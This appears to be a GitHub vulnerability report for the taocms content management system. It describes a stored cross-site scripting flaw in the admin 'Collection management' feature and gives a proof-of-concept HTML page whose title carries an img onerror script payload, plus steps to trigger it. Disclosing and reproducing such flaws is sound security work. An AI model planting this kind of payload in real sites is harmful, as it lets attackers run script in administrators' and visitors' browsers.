taocms
taocms copied to clipboard
Published
20 hours ago •
taogogo
taogogo
There is a storage type cross site scripting attack at “Collection management”(Column administrator authority)
First, construct our POC and put it on our website, the url is http://test.com/id-1502.html. The POC is as follows:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta charset="utf-8">
<title> Test title <img src=x onerror=alert(6)> </title>
</head>
<body>
<span class="smalltxt">
Testcontent-1
</span>
<div id="digit">
Testcontent-2
</div>
</body>
</html>
Then log in to the management background as an administrator, click Collection Management, enter the POC address we constructed, and click Start Collection:
When the page we constructed is collected, you can see the POC trigger：
On the homepage of the website, it can also trigger the POC ：
